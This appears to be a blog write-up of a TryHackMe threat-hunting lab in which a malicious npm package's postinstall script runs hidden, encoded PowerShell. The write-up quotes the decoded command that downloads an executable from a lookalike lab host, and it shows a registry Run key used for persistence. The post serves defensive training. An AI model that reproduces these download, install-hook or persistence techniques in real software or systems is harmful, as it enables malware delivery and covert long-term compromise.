TryHackMe - Threat Hunting Simulator - Health Hazard



 



Scenario overview


After months of juggling content calendars and caffeine-fueled brainstorming, co-founder Tom Whiskers finally carved out time to build the company’s first website. It was supposed to be simple: follow a tutorial, install a few packages, and bring the brand to life with lightweight JavaScript magic.

 

But between sleepless nights and copy-pasted code, Tom started feeling off. Not sick exactly, just off. The terminal scrolled with reassuring green text, the site loaded fine, and everything looked normal.

 

Then, a strange file appeared on the system. No one could say where it came from. It wasn’t part of the tutorial, didn’t match any known dependencies, and didn’t even run.

 

It just waited.

 

Scenario objectives


  • Determine how a threat actor first gained a foothold on the system. Identify suspicious activity that may point to the initial compromise method.
  • Investigate signs of malicious execution following the initial access. Analyse the logs and system behaviour to uncover the attacker's actions.
  • Identify any mechanisms the attacker used to maintain access across system restarts or user sessions. Look for indicators of persistence that could allow long-term control.




Initial Access – Supply Chain Attack:

Process Created: node.exe -c npm install healthchk-lib@1.0.1

CommandLine: "C:\Program Files\nodejs\node.exe"

[21/06/2025 10:58:27 AM]
Process Created:
Image: powershell.exe
Parent: cmd.exe
CommandLine: powershell.exe -NoP -W Hidden -EncodedCommand ...
→ Triggered from: C:\Development\node_modules\healthchk-lib\scripts\postinstall.ps1

After installation, postinstall.ps1 is automatically run.



Execution – Obfuscated PowerShell

Process Created: powershell.exe
ParentImage: cmd.exe
GrandParentImage: node.exe
CommandLine: powershell.exe -NoP -W Hidden -EncodedCommand JABkAGUAcw...

[21/06/2025 10:58:27 AM]
Decoded Command:
$url = "http://global-update.wlndows.thm/SystemHealthUpdater.exe"
$dest = "$env:APPDATA\SystemHealthUpdater.exe"
Invoke-WebRequest -Uri $url -OutFile $dest


Here appears the Base64 encoded PowerShell command that downloads the payload.



Persistence – Registry Run Key

[21/06/2025 10:58:27 AM]
Event ID: 13 (Registry SetValue)
TargetObject:
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Value Name: Windows Update Monitor
Value Data: powershell.exe -NoP -W Hidden -EncodedCommand ...


EventID: 13 (Registry SetValue)
TargetObject: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
Details: Windows Update Monitor → powershell.exe -NoP -W Hidden -EncodedCommand ...

It confirms persistence on the user's system via Run Key.



Thank you for watching 

and

I hope you enjoy with this challange !! 












Comments

Popular posts from this blog

TryHackMe - Typo Snare Threat Hunter Simulator (medium level)

Phishing Unfolding SIM (SOC Simulator TryHackMe)